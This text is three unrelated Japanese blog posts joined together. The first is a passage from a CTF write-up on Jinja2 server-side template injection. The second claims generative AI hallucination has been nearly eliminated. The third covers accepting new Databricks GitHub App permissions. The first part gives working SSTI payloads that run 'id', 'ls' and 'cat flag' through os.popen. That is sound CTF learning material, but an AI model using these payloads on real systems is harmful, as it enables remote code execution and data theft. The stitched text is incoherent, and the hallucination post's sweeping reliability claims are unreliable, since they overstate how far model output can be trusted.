![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/330568/635e1c50-7704-4ee8-95c4-ceea6c55969f.png)
Jinja2は7777777を返しTwigは49を返すことが画像の元記事には書かれていました。
そのためこのテンプレートはJinja2を利用していることが判明しました。

続いて
jinja2 server side template injection　と調べます
OnSecurityというサイトがヒットします。

https://www.onsecurity.io/blog/server-side-template-injection-with-jinja2/

読み込んでいくと
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
というコードがあるのでこのコードを実行してみます。
するとルートであるという情報が得られます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/330568/46959eba-67da-4cad-8ed2-a35acdaedeef.png)

{{request.application.__globals__.__builtins__.__import__('os').popen('ls').read()}}
次はidの箇所をlsに変えます。
これでlsコマンドが実行され、flagというデータがあるのがわかります。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/330568/762cb394-767a-4487-b4a3-58302043be68.png)

{{request.application.__globals__.__builtins__.__import__('os').popen('cat flag').read()}}
flagの中身のデータを知りたいので今度はcat flagに切り替えます。

これでflagの答えが得られます。
生成AIはもう嘘をつかない？ハルシネーション率で見る最新AIモデルの進化


## はじめに

「生成AIは嘘をつくから信用できない」——そんな印象を持っている方はまだ多いかもしれません。実際、ChatGPTなどの対話型AIが事実と異なる情報（=ハルシネーション）を生成することは以前から問題視されてきました。

しかし、AIは日々進化しています。今では「どのモデルがどのくらい嘘をつくのか？」を客観的に比較する指標まで整備されています。この記事では、その進化を数値で確認できるGitHubプロジェクトと、その結果を紹介しているXの投稿をご紹介します。



## ハルシネーションとは？

まず「ハルシネーション（hallucination）」とは、生成AIが存在しない事実や誤情報をもっともらしく語ってしまう現象を指します。

たとえば、

* 実在しない論文や書籍を出典にする
* 架空の人物の発言を事実のように生成する
* プログラムコードで存在しないAPIを提案する

といったことが起こりえます。



## 「Hallucination Leaderboard」で各モデルの嘘つき度を可視化

以下のGitHubリポジトリでは、主要な生成AIモデルの「ハルシネーション率」を比較したランキングが公開されています：

https://github.com/vectara/hallucination-leaderboard?tab=readme-ov-file

このランキングは、以下のような評価軸でモデルを比較しています：

* TruthfulQAベンチマークを使った事実性評価
* モデルがどれだけ「信頼できる情報を返しているか」のスコア化
* OpenAI、Anthropic、Mistralなどの主要モデルが対象



## 進化を物語るデータ
以前までは20〜30%のハルシネーション率だったのが、最新モデルでは1%前後にまで改善されています。

https://x.com/kkitase/status/1920382674411118929




## おわりに

生成AIが「嘘をつく」という印象は、もはや過去のものになりつつあります。
最新のモデルは、適切なプロンプト設計とフィルタリングを前提にすれば、極めて高い信頼性を持っています。

もし業務や学習に導入することをためらっている方がいたら、ぜひこのデータを一度確認してみてください。
GitHub Actions作成をサポートするためのDatabricks GitHub Appのスコープの追加

こちらのアップデートです。

https://docs.databricks.com/aws/ja/release-notes/product/2025/may#db-github-app-adds-workflow-scope-to-support-authoring-github-actions

> **GitHub Actions作成をサポートするためのDatabricks GitHub Appにおけるワークフロースコープの追加**
> DB(Databricks)は変更を加え、Databricks GitHubアプリの**Workflowsスコープへの読み取りおよび書き込み**アクセスのメールリクエストを受け取る可能性があります。この変更により、DB GitHubアプリのスコープが他のサポートされている認証方法の必要なスコープと一致し、DB GitフォルダーからDB GitHubアプリを使用してGitHub Actionsをコミットできるようになります。
>
>DBアカウントの所有者であり、DB GitHubアプリがインストールされ、OAuthをサポートするように構成されている場合、GitHubから「Databricksが更新された権限を要求しています」というタイトルのメール通知を受け取る可能性があります。（これはDatabricksからの正当なメールリクエストです。）新しい権限を受け入れて、GitHubアクションをDB Gitフォルダーから[我々のGitHubアプリ](https://github.com/apps/databricks)でコミットできるようにしてください。
>
> ![](https://docs.databricks.com/aws/ja/assets/images/db-github-app-perm-request-d3a24a3cf6c3f9aa561ffcf272a4cf1e.png)

私にもメールが来ていました。

![Screenshot 2025-05-10 at 11.33.18.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1168882/1143417e-aaff-4c61-b59d-82dd0e21687d.png)

**Review permission request to accept or reject this change**をクリックします。

![Screenshot 2025-05-10 at 11.40.13.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1168882/557216f0-c5a7-42dd-871c-9172905ae0b1.png)

内容を確認して**Accept new permissions**をクリックします。

![Screenshot 2025-05-10 at 11.40.31.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1168882/1f90cc3c-fbe9-467e-8c3c-a14f933f0573.png)

権限が追加されました。

![Screenshot 2025-05-10 at 11.41.18.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1168882/0a30b6ff-95b7-4189-b5db-205a350bc3e8.png)


### はじめてのDatabricks

[はじめてのDatabricks](https://qiita.com/taka_yayoi/items/8dc72d083edb879a5e5d)

### Databricks無料トライアル

[Databricks無料トライアル](https://databricks.com/jp/try-databricks)